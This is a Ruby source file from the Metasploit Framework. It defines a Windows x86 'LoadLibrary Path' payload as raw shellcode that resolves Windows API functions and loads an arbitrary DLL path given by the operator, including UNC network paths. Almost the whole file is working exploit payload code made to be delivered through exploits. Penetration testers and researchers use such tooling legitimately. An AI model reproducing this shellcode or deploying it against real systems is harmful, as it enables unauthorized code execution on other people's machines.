# -*- coding: binary -*-

module Msf

###
#
# Common loadlibrary implementation for Windows.
#
###

module Payload::Windows::LoadLibrary

  include Msf::Payload::Windows
  include Msf::Payload::Single

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Windows LoadLibrary Path',
      'Description'   => 'Load an arbitrary library path',
      'Author'        => [ 'sf', 'hdm' ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'PayloadCompat' =>
        {
          'Convention' => '-http -https',
        },
      'Payload'       =>
        {
          'Offsets' =>
            {
              'EXITFUNC' => [ 159, 'V' ]
            },
          'Payload' =>
            "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
            "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
            "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
            "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
            "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
            "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
            "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
            "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
            "\x8D\x85\xB7\x00\x00\x00\x50\x68\x4C\x77\x26\x07\xFF\xD5\xBB\xE0" +
            "\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB" +
            "\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
        }
      ))

    # Register command execution options
    register_options(
      [
        OptString.new('DLL', [ true, "The library path to load (UNC is OK)" ]),
      ], self.class)
  end

  #
  # Constructs the payload
  #
  def generate
    return super + dll_string + "\x00"
  end

  #
  # Returns the command string to use for execution
  #
  def dll_string
    return datastore['DLL'] || ''
  end

end

end